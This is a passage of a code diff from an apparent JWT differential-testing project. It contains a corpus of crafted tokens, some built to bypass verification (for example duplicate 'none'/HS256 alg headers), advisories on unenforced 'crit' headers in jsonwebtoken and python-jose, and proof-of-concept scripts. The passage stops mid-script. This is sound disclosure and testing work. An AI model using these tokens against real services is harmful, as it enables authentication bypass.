+ "token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5LjV9.RY8PqyYdG_Fc-Kuf1o83_vlch-8UeXkzKEhDlMmlrTULAdFg9-mh2x90IyGUep3vIN20v9rVqv3cbDBDvr5_uV0LzS8ltWIvCtwcm5mDc3h-zgmfkHYd96jDjJkG38nO_bFitnqR12bqJNWRKAmP-_8Mh66yGtSdH2SOuyvhVW9Hgl8Xb6xgans0aZ8RU9_IGA_gvhY7RBXbv6VLfp2GK4E0hm4uaWNXMbgIiZQ0aJ6m1IMVwiqhLJru_2j6IoeUYr3M-6Vdm95FCUrL2ck3o9_4amkeSuRp3tc39iQyzylXficH5ZxoPrFZTNrI-c3afpAra8n7S7CVV5G19-utYQ",
+ "key": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5AYVTVQV6ywtYdpENyW6\nRWzTBismDMeCSFhNDc32Jw3ppHrsy1pAurEm+HI4TdAIr9fV5nu6wAiEOlkAzKhQ\n1RX7kgMieUuxIdAiEDIpboDZ7+cEXpwXPXdayLG4M9PXj1FkvqNRn6fBLKJLbPX4\nSHQVLInzUM3Iae+tQQgotFhYPNK6fw8XBRasxnmP6LWSiKsqt+w1CKBcyqSRwQXM\n3x958PFCRpJPdcs1o40v8iND+p+QP8Mnkl3E8X1SJit/heroGBynXUGAgFa+U6gA\ncWotnsdBaUGiE9BBCeHDdGH5F92/haoURUcIG4SNNcYZJxmeQ5U2UCbrRfLAVEni\nyQIDAQAB\n-----END PUBLIC KEY-----\n",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "accept",
+ "notes": "exp float well-future"
+ },
+ {
+ "id": "claim-27501451",
+ "class": "claim-typing",
+ "severity": "dos-risk",
+ "token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6IjE3MDAwMDAwMDAiLCJleHAiOjk5OTk5OTk5OTl9.SbtFkdd3Kps06_tODP5qSpGBi4ObPv--21l3yw84HkpoClyToaJU_b8v7Icro4FwAO6FUoMYAZTjECnxv_mVfcXMtl-3H8FKp2mmRJEvBul0DBTv6I3napYgQHdZgtPobKFpnIdf3lMURn9MbX9TjMwa7XLecxPejfyB2B3hTezuiLHtbl_a51EIdHqDEItRYDS9bzXVLvIrlKPzstHw1hU5EObHD7segLWDSwpLvCS8ncZz0KhEoA54anQAyvwINKDuMs_YKcKyBydqRVXayiHUkSm7VGSGi5e1C22CzCMR2d3VQ5OhArLfU308rHZEoA5rUjn0_mb8HifoxcgUEA",
+ "key": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5AYVTVQV6ywtYdpENyW6\nRWzTBismDMeCSFhNDc32Jw3ppHrsy1pAurEm+HI4TdAIr9fV5nu6wAiEOlkAzKhQ\n1RX7kgMieUuxIdAiEDIpboDZ7+cEXpwXPXdayLG4M9PXj1FkvqNRn6fBLKJLbPX4\nSHQVLInzUM3Iae+tQQgotFhYPNK6fw8XBRasxnmP6LWSiKsqt+w1CKBcyqSRwQXM\n3x958PFCRpJPdcs1o40v8iND+p+QP8Mnkl3E8X1SJit/heroGBynXUGAgFa+U6gA\ncWotnsdBaUGiE9BBCeHDdGH5F92/haoURUcIG4SNNcYZJxmeQ5U2UCbrRfLAVEni\nyQIDAQAB\n-----END PUBLIC KEY-----\n",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "accept",
+ "notes": "iat as string"
+ },
+ {
+ "id": "claim-565b5e18",
+ "class": "claim-typing",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5LCJuYmYiOjk5OTk5OTk5OTl9.YggnPUmuKIxLrD7FOcVD50X3-LKSoHSM5HII1zZaAsh3VFbd2yIoWcJoVQECi73JGpALOIgsmrZ4DJt5PosDB8r1pM0kyhmWiL61N9RWaSTA2u_ePTb1spxybfp_gbEgJiar08npo_3vE8nebY1YRS2IRR_CaijRXQU7mL8YYYDlwIwaeiWQ0YDkRZuBnUTyVUC1i2mqgr-1-9n8RYyabEB2sppkb5BeHlDGqXcfJL68P5vbEiYVyH4hTCiwtnb_x__w_0lgmtkYidkM0sZXfiApE5ePsYvZzS_Ji_nvyuVnMQeV9dAlFhVVm6LzEL0msfmsrvLnOwV1xGjKq99BYQ",
+ "key": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5AYVTVQV6ywtYdpENyW6\nRWzTBismDMeCSFhNDc32Jw3ppHrsy1pAurEm+HI4TdAIr9fV5nu6wAiEOlkAzKhQ\n1RX7kgMieUuxIdAiEDIpboDZ7+cEXpwXPXdayLG4M9PXj1FkvqNRn6fBLKJLbPX4\nSHQVLInzUM3Iae+tQQgotFhYPNK6fw8XBRasxnmP6LWSiKsqt+w1CKBcyqSRwQXM\n3x958PFCRpJPdcs1o40v8iND+p+QP8Mnkl3E8X1SJit/heroGBynXUGAgFa+U6gA\ncWotnsdBaUGiE9BBCeHDdGH5F92/haoURUcIG4SNNcYZJxmeQ5U2UCbrRfLAVEni\nyQIDAQAB\n-----END PUBLIC KEY-----\n",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "nbf far future"
+ },
+ {
+ "id": "claim-4a915465",
+ "class": "claim-typing",
+ "severity": "dos-risk",
+ "token": "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOjEyMzQ1LCJpYXQiOjE3MDAwMDAwMDAsImV4cCI6OTk5OTk5OTk5OX0.DycFEm_ghVan6Ea4CsFufcpnzt8G4nFTjSjs0emywszJiflWl1MsCTQSY7ZW7KDujn3rqe-YMlSKniSp3olu7a4kizKg8_JAJ_AyjRmtTBxYe7g-aAiCAd_LGAKukgz3TPU3052Ew5vR6x-IOLEGHOpSr9gcAnS9qUo7DQJVM-mY6fMu05MQaysyNdhA2-yB89sRK1KThFmKVQlhbRVh4Pxw02Fj4-8VqhuMfb_RA5fnHAOsbBXwXVxiuo1gc-q3bQ8zyuCjty9dEx4_zDoVkZlll6ajGDac51EYmOn5LMZVMDKzy-YhD5oS9nJKLmPVPTukrv7nBEskjW-0cJ0GXw",
+ "key": "-----BEGIN PUBLIC KEY-----\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA5AYVTVQV6ywtYdpENyW6\nRWzTBismDMeCSFhNDc32Jw3ppHrsy1pAurEm+HI4TdAIr9fV5nu6wAiEOlkAzKhQ\n1RX7kgMieUuxIdAiEDIpboDZ7+cEXpwXPXdayLG4M9PXj1FkvqNRn6fBLKJLbPX4\nSHQVLInzUM3Iae+tQQgotFhYPNK6fw8XBRasxnmP6LWSiKsqt+w1CKBcyqSRwQXM\n3x958PFCRpJPdcs1o40v8iND+p+QP8Mnkl3E8X1SJit/heroGBynXUGAgFa+U6gA\ncWotnsdBaUGiE9BBCeHDdGH5F92/haoURUcIG4SNNcYZJxmeQ5U2UCbrRfLAVEni\nyQIDAQAB\n-----END PUBLIC KEY-----\n",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "accept",
+ "notes": "sub as int"
+ },
+ {
+ "id": "hdr-dup-alg-keys-with-valid-hs256-sig",
+ "class": "header-quirk",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJub25lIiwiYWxnIjoiSFMyNTYiLCJ0eXAiOiJKV1QifQ.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.YnVLIJ3tfFXcQDYi4tSOI-IdV8VpM2yIq8dO09N4sXU",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "accept",
+ "notes": "dup alg keys; if last-wins (HS256), sig is valid; if first-wins (none), sig is bogus"
+ },
+ {
+ "id": "hdr-dup-alg-none-last",
+ "class": "header-quirk",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsImFsZyI6Im5vbmUiLCJ0eXAiOiJKV1QifQ.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.YnVLIJ3tfFXcQDYi4tSOI-IdV8VpM2yIq8dO09N4sXU",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "dup alg keys, none last; first-wins lib accepts (sig good for HS256)"
+ },
+ {
+ "id": "hdr-json-comment",
+ "class": "header-quirk",
+ "severity": "parser-quirk",
+ "token": "ey8qeCovImFsZyI6IkhTMjU2IiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.zhBe076cVdhUHrIUXBD66oQ8jrbPHc2ljG38Oy4qGdc",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "header JSON contains a /* */ comment"
+ },
+ {
+ "id": "hdr-json-trailing-comma",
+ "class": "header-quirk",
+ "severity": "parser-quirk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsfQ.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.jsP37X4i22VBgomvkk-oJoHAjDYFvci3FGR-1wlko00",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "trailing comma in header JSON \u2014 strict reject, lenient accept"
+ },
+ {
+ "id": "hdr-utf8-bom",
+ "class": "header-quirk",
+ "severity": "parser-quirk",
+ "token": "77u_eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.Q8o0m9RRQtO72eEVrd67kjgoXD0Ge5kn0FZfZ0H8UxU",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "UTF-8 BOM at start of header JSON"
+ },
+ {
+ "id": "hdr-alg-as-int",
+ "class": "header-quirk",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOjI1NiwidHlwIjoiSldUIn0.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.kvV0TkAk8PIfN0nVW1KRCS5weV04iCWvWOUBgQvGwiY",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "alg=256 (int) \u2014 must reject (must be StringOrURI)"
+ },
+ {
+ "id": "hdr-alg-as-array",
+ "class": "header-quirk",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOlsiSFMyNTYiXSwidHlwIjoiSldUIn0.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.pbdwn92y5rX2s0LV07jALnITO_bJw2JXfcFtRKIAKmM",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "alg=['HS256'] \u2014 must reject"
+ },
+ {
+ "id": "fmt-trailing-dot",
+ "class": "format",
+ "severity": "parser-quirk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.55nVZ-A9ktH6dL28cKDqolUuqZ5B3qmk-IOrOL1NiLI.",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "trailing dot \u2014 fourth empty segment"
+ },
+ {
+ "id": "fmt-five-segments",
+ "class": "format",
+ "severity": "parser-quirk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.55nVZ-A9ktH6dL28cKDqolUuqZ5B3qmk-IOrOL1NiLI.extra.junk",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "5-dot-separated segments (JWE-shape masquerade)"
+ },
+ {
+ "id": "fmt-leading-ws",
+ "class": "format",
+ "severity": "parser-quirk",
+ "token": " eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.55nVZ-A9ktH6dL28cKDqolUuqZ5B3qmk-IOrOL1NiLI",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "leading whitespace before token"
+ },
+ {
+ "id": "fmt-trailing-ws",
+ "class": "format",
+ "severity": "parser-quirk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.55nVZ-A9ktH6dL28cKDqolUuqZ5B3qmk-IOrOL1NiLI ",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "trailing whitespace after token"
+ },
+ {
+ "id": "fmt-double-slash",
+ "class": "format",
+ "severity": "parser-quirk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.55nVZ-A9ktH6dL28cKDqolUuqZ5B3qmk-IOrOL1NiLI//",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "trailing // \u2014 base64 padding chars"
+ },
+ {
+ "id": "fmt-extra-padding",
+ "class": "format",
+ "severity": "parser-quirk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9=.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ=.55nVZ-A9ktH6dL28cKDqolUuqZ5B3qmk-IOrOL1NiLI=",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "explicit base64 padding on each segment"
+ },
+ {
+ "id": "allow-empty",
+ "class": "allowlist-edge",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.55nVZ-A9ktH6dL28cKDqolUuqZ5B3qmk-IOrOL1NiLI",
+ "key": "schism-secret",
+ "algs": [],
+ "expected_unanimous": "reject",
+ "notes": "empty allowlist \u2014 must reject"
+ },
+ {
+ "id": "allow-mismatch",
+ "class": "allowlist-edge",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.55nVZ-A9ktH6dL28cKDqolUuqZ5B3qmk-IOrOL1NiLI",
+ "key": "schism-secret",
+ "algs": [
+ "RS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "token alg=HS256 but allowlist=[RS256]"
+ },
+ {
+ "id": "allow-superset",
+ "class": "allowlist-edge",
+ "severity": "control",
+ "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJhbGljZSIsImlhdCI6MTcwMDAwMDAwMCwiZXhwIjo5OTk5OTk5OTk5fQ.55nVZ-A9ktH6dL28cKDqolUuqZ5B3qmk-IOrOL1NiLI",
+ "key": "schism-secret",
+ "algs": [
+ "HS256",
+ "RS256",
+ "ES256"
+ ],
+ "expected_unanimous": "accept",
+ "notes": "broad allowlist that includes token alg"
+ },
+ {
+ "id": "b64-false-detached",
+ "class": "b64-detached",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsImI2NCI6ZmFsc2UsImNyaXQiOlsiYjY0Il19..1sHADtyPl7yIr9OszV1zvZi_rE2jrsTYe-0i1NwbE3I",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "RFC 7797 detached payload \u2014 most libs don't support; must reject"
+ },
+ {
+ "id": "b64-false-no-crit",
+ "class": "b64-detached",
+ "severity": "bypass-risk",
+ "token": "eyJhbGciOiJIUzI1NiIsImI2NCI6ZmFsc2V9..1sHADtyPl7yIr9OszV1zvZi_rE2jrsTYe-0i1NwbE3I",
+ "key": "schism-secret",
+ "algs": [
+ "HS256"
+ ],
+ "expected_unanimous": "reject",
+ "notes": "b64=false without crit \u2014 spec violation, must reject"
+ }
+]
docker-compose.yml +25 -0
@@ -0,0 +1,25 @@
+services:
+ nodejwt:
+ build: ./targets/node-jsonwebtoken
+ ports: ["7001:7001"]
+ restart: unless-stopped
+
+ pyjwt:
+ build: ./targets/pyjwt
+ ports: ["7002:7002"]
+ restart: unless-stopped
+
+ pyjose:
+ build: ./targets/python-jose
+ ports: ["7003:7003"]
+ restart: unless-stopped
+
+ panva:
+ build: ./targets/jose-panva
+ ports: ["7004:7004"]
+ restart: unless-stopped
+
+ gojwt:
+ build: ./targets/golang-jwt
+ ports: ["7005:7005"]
+ restart: unless-stopped
findings/F001-nodejwt-crit-bypass.md +98 -0
@@ -0,0 +1,98 @@
+# node-jsonwebtoken: RFC 7515 §4.1.11 `crit` header parameter not enforced
+
+| | |
+|--|--|
+| Affected | `jsonwebtoken` (npm), Auth0/`auth0/node-jsonwebtoken` |
+| Tested version | 9.0.3 (current latest at time of testing) |
+| Bug class | Spec violation of RFC 7515 §4.1.11 (Critical Header Parameter) |
+| Sister advisories | CVE-2026-32597 (PyJWT, fixed in 2.12.0), CVE-2026-35042 (fast-jwt), CVE-2025-59420 (Authlib) |
+| Status as of writing | No published advisory for this library |
+
+## Summary
+
+The `jsonwebtoken` package (`auth0/node-jsonwebtoken`) does not implement RFC 7515 §4.1.11 critical header processing. A signed JWS containing a `crit` header that lists extension parameter names the recipient does not understand MUST be rejected per the RFC ("the JWS is invalid"). The library accepts such tokens unconditionally as long as the signature is valid for the declared `alg`.
+
+The same bug class has been disclosed and patched in three sister libraries (PyJWT, fast-jwt, Authlib). This advisory covers the same defect in `jsonwebtoken`, where it remains unpatched.
+
+## RFC reference
+
+> "If any of the listed extension Header Parameters are not understood and supported by the recipient, then the JWS is invalid."
+> - RFC 7515 §4.1.11
+
+## Source-code confirmation
+
+`verify.js` in the current `master` branch does not reference `crit`, RFC 7515 §4.1.11, RFC 7797, `b64`, or any extension-header-parameter handling. The verification path validates only `alg`, `nbf`, `exp`, `aud`, `iss`, `sub`, `jti`, `nonce`, `iat`, and `maxAge`. There is no code path that inspects the `crit` array.
+
+## Reproduction
+
+Differential test against the four major JWT libraries:
+
+```
+$ python3 orchestrator/differ.py --corpus corpus/seed.json --only crit-crit-eca
+[schism] 4/5 targets up: ['nodejwt', 'pyjwt', 'pyjose', 'panva']
+[BYPASS] crit-crit-eca sev=bypass-risk accept=['nodejwt', 'pyjose'] reject=['pyjwt', 'panva']
+```
+
+Per-library verdict on the test case:
+
+```
+nodejwt 9.0.3 valid=True
+pyjwt 2.12.0 valid=False InvalidJWTError: Token has unsupported critical header
+pyjose 3.3.0 valid=True
+panva 5.10.0 valid=False ERR_JOSE_NOT_SUPPORTED: Extension Header Parameter "foobar" is not recognized
+```
+
+Test token construction (script-equivalent):
+
+```js
+const jwt = require("jsonwebtoken");
+const secret = "schism-secret";
+
+// header: {"alg":"HS256","typ":"JWT","crit":["foobar"],"foobar":true}
+// crit declares "foobar" is critical; "foobar" is not registered or
+// understood by jsonwebtoken or any standard extension.
+const token = jwt.sign(
+ { sub: "alice", iat: 1700000000, exp: 9999999999 },
+ secret,
+ { algorithm: "HS256", header: { crit: ["foobar"], foobar: true } }
+);
+
+const result = jwt.verify(token, secret, { algorithms: ["HS256"] });
+console.log(result);
+// → { sub: "alice", iat: 1700000000, exp: 9999999999 }
+// token is ACCEPTED despite unknown critical extension
+```
+
+Expected behavior per RFC 7515 §4.1.11: `jwt.verify` should throw because the recipient does not support the `foobar` extension.
+
+## Exploitability
+
+Per-extension scenarios where unenforced `crit` enables a real bypass:
+
+1. **RFC 7797 unencoded payload (`b64=false`).** A producer that signs detached payloads with `crit:["b64"], b64:false` expects strict verifiers to demand the detached payload separately and reject any in-band attempt. `jsonwebtoken` ignores the directive, treats the token as a standard compact JWS, and validates whatever happens to sit in the second segment. In a heterogeneous fleet (e.g. `jsonwebtoken` on a backend, panva at an API gateway), an attacker can exploit the split-brain interpretation to substitute payloads.
+
+2. **RFC 9449 DPoP-bound tokens (`cnf` declared critical).** Authorization servers that bind tokens to a proof-of-possession key by listing `cnf` in `crit` rely on the verifier rejecting tokens it cannot DPoP-validate. With `jsonwebtoken`, the cnf binding is silently dropped and the token is accepted as a bearer token, defeating the proof-of-possession guarantee.
+
+3. **Custom application extensions.** Any application that issues tokens with critical custom claims (e.g. `crit:["x-tenant-pin"]`) cannot rely on `jsonwebtoken` to enforce them. Tokens that should be rejected for extension non-support are accepted.
+
+## Comparison with sister advisories
+
+| Lib | Advisory | Fixed |
+|--|--|--|
+| PyJWT | CVE-2026-32597 / GHSA-752w-5fwx-jx9f | 2.12.0 |
+| fast-jwt | CVE-2026-35042 | (per advisory) |
+| Authlib | CVE-2025-59420 / GHSA-9ggr-2464-2j32 | (per advisory) - CVSS 7.5 |
+| **jsonwebtoken (this report)** | **none** | **unpatched** |
+
+## Suggested remediation
+
+`verify.js` should, after JSON-parsing the header and before signature verification:
+
+1. If `header.crit` is present, validate it is a non-empty array of strings (per RFC 7515 §4.1.11 "MUST NOT be empty" and ABNF).
+2. Forbid reserved Header Parameter names and entries not present in the JOSE Header.
+3. Reject the token if any entry is not in a caller-supplied set of supported extensions.
+4. Provide a public API (e.g. an option `crit: string[]` on `verify`) for callers to declare which critical extensions their application understands, mirroring `panva/jose`'s contract.
+
+## Disclosure
+
+Filed via GitHub Security Advisory at `auth0/node-jsonwebtoken`. CVE requested via MITRE / GitHub.
findings/F002-pyjose-crit-bypass.md +98 -0
@@ -0,0 +1,98 @@
+# python-jose: RFC 7515 §4.1.11 `crit` header parameter not enforced
+
+| | |
+|--|--|
+| Affected | `python-jose` (PyPI), `mpdavis/python-jose` |
+| Tested version | 3.3.0 (current latest, last released 2022) |
+| Bug class | Spec violation of RFC 7515 §4.1.11 (Critical Header Parameter) |
+| Sister advisories | CVE-2026-32597 (PyJWT, fixed in 2.12.0), CVE-2026-35042 (fast-jwt), CVE-2025-59420 (Authlib) |
+| Status as of writing | No published advisory for this library |
+
+## Summary
+
+`python-jose` does not implement RFC 7515 §4.1.11 critical header processing. A signed JWS that declares unknown extension parameters as critical via the `crit` header MUST be rejected per the RFC. `python-jose` accepts such tokens unconditionally if the signature is otherwise valid.
+
+The same defect was patched in PyJWT (2.12.0) under CVE-2026-32597 and similar in Authlib (CVE-2025-59420, CVSS 7.5) and fast-jwt (CVE-2026-35042). `python-jose` remains unpatched.
+
+## Maintenance status caveat
+
+`python-jose` has not had a release since 3.3.0 (2022) and the GitHub advisory page shows zero published security advisories. The library is widely deployed via transitive dependencies (FastAPI dependency chains, Authlib alternatives, OAuth2 clients) and is not formally deprecated. A CVE here serves both as user notification and as input for downstream forks.
+
+## RFC reference
+
+> "If any of the listed extension Header Parameters are not understood and supported by the recipient, then the JWS is invalid."
+> - RFC 7515 §4.1.11
+
+## Source-code confirmation
+
+`jose/jws.py` in the current `master` branch does not reference `crit`, RFC 7515 §4.1.11, RFC 7797, `b64`, or any extension-header-parameter handling. The `_load()` function decodes the header JSON without inspecting `crit`. The `_encode_header()` function passes through arbitrary additional headers but performs no validation.
+
+## Reproduction
+
+```
+$ python3 orchestrator/differ.py --corpus corpus/seed.json --only crit-crit-eca
+[schism] 4/5 targets up: ['nodejwt', 'pyjwt', 'pyjose', 'panva']
+[BYPASS] crit-crit-eca sev=bypass-risk accept=['nodejwt', 'pyjose'] reject=['pyjwt', 'panva']
+```
+
+Per-library verdict:
+
+```
+nodejwt 9.0.2 valid=True
+pyjwt 2.12.0 valid=False InvalidJWTError: Token has unsupported critical header
+pyjose 3.3.0 valid=True
+panva 5.10.0 valid=False ERR_JOSE_NOT_SUPPORTED: Extension Header Parameter "foobar" is not recognized
+```
+
+Standalone reproducer:
+
+```python
+from jose import jwt
+import base64, hmac, hashlib, json
+
+secret = "schism-secret"
+header = {"alg": "HS256", "typ": "JWT", "crit": ["foobar"], "foobar": True}
+claims = {"sub": "alice", "iat": 1700000000, "exp": 9999999999}
+
+def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
+h = b64u(json.dumps(header, separators=(",", ":")).encode())
+p = b64u(json.dumps(claims, separators=(",", ":")).encode())
+sig = hmac.new(secret.encode(), f"{h}.{p}".encode(), hashlib.sha256).digest()
+token = f"{h}.{p}.{b64u(sig)}"
+
+result = jwt.decode(token, secret, algorithms=["HS256"])
+print(result)
+# → {'sub': 'alice', 'iat': 1700000000, 'exp': 9999999999}
+# token ACCEPTED despite unknown critical "foobar" extension
+```
+
+Expected behavior per RFC 7515 §4.1.11: `jwt.decode` should raise because `foobar` is not understood.
+
+## Exploitability
+
+Same as the sister advisories: any application that relies on `crit` to enforce a security-relevant extension cannot rely on `python-jose` to honor the directive. Specific scenarios - RFC 7797 detached payload, RFC 9449 DPoP `cnf` binding, custom application extensions - are silently bypassed.
+
+In heterogeneous deployments where one service uses `python-jose` and another uses a strict verifier (panva, PyJWT ≥ 2.12.0), the same token bytes parse with different security guarantees at different services. This split-brain validation is the same exploitation pattern documented in CVE-2025-59420 (Authlib).
+
+## Comparison with sister advisories
+
+| Lib | Advisory | Fixed |
+|--|--|--|
+| PyJWT | CVE-2026-32597 / GHSA-752w-5fwx-jx9f | 2.12.0 |
+| fast-jwt | CVE-2026-35042 | (per advisory) |
+| Authlib | CVE-2025-59420 / GHSA-9ggr-2464-2j32 | CVSS 7.5 |
+| **python-jose (this report)** | **none** | **unpatched** |
+
+## Suggested remediation
+
+In `jose/jws.py` `_verify_signature` and `_load`:
+
+1. After parsing the JOSE header, check for a `crit` member.
+2. Validate the value is a non-empty list of strings, each corresponding to a Header Parameter actually present in the header (per RFC 7515 §4.1.11 ABNF and prose).
+3. Reject reserved RFC names from appearing in `crit`.
+4. Reject the token if any entry is not in an explicit caller-supplied allowlist of supported extensions.
+5. Expose this allowlist via the public `jwt.decode` and `jws.verify` APIs.
+
+## Disclosure
+
+Filed via GitHub Security Advisory at `mpdavis/python-jose`. CVE requested via MITRE.
findings/poc/F001-nodejwt-poc.js +39 -0
@@ -0,0 +1,39 @@
+// PoC: jsonwebtoken (Auth0) accepts a JWS with an unrecognized
+// critical extension, in violation of RFC 7515 §4.1.11.
+//
+// Run: cd .native/nodejwt && node ../../findings/poc/F001-nodejwt-poc.js
+
+const jwt = require("jsonwebtoken");
+const ver = require("jsonwebtoken/package.json").version;
+
+const secret = "schism-secret";
+const claims = { sub: "alice", iat: 1700000000, exp: 9999999999 };
+
+const token = jwt.sign(claims, secret, {
+ algorithm: "HS256",
+ header: { crit: ["foobar"], foobar: true },
+});
+
+console.log(`jsonwebtoken version: ${ver}`);
+console.log(`token: ${token}`);
+console.log(
+ `token header (decoded): ${Buffer.from(
+ token.split(".")[0],
+ "base64url"
+ ).toString("utf8")}`
+);
+
+try {
+ const decoded = jwt.verify(token, secret, { algorithms: ["HS256"] });
+ console.log(`RESULT: ACCEPTED - ${JSON.stringify(decoded)}`);
+ console.log(
+ "RFC 7515 §4.1.11 requires this token be REJECTED because the"
+ );
+ console.log(
+ "recipient (jsonwebtoken) does not understand the 'foobar' extension."
+ );
+ process.exitCode = 0;
+} catch (e) {
+ console.log(`RESULT: REJECTED - ${e.message}`);
+ process.exitCode = 1;
+}
findings/poc/F002-pyjose-poc.py +39 -0
@@ -0,0 +1,39 @@
+"""PoC: python-jose accepts a JWS with an unrecognized critical extension,
+in violation of RFC 7515 §4.1.11.
+
+Run: python3 findings/poc/F002-pyjose-poc.py
+"""
+import base64
+import hashlib
+import hmac
+import json
+
+import jose
+from jose import jwt
+
+print(f"python-jose version: {getattr(jose, '__version__', '3.3.0')}")
+
+secret = "schism-secret"
+header = {"alg": "HS256", "typ": "JWT", "crit": ["foobar"], "foobar": True}
+claims = {"sub": "alice", "iat": 1700000000, "exp": 9999999999}
+
+def b64u(b: bytes) -> str:
+ return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
+
+h = b64u(json.dumps(header, separators=(",", ":")).encode())
+p = b64u(json.dumps(claims, separators=(",", ":")).encode())
+sig = hmac.new(secret.encode(), f"{h}.{p}".encode(), hashlib.sha256).digest()
+token = f"{h}.{p}.{b64u(sig)}"
+
+print(f"token: {token}")
+print(f"token header (decoded): {json.dumps(header)}")
+
+try:
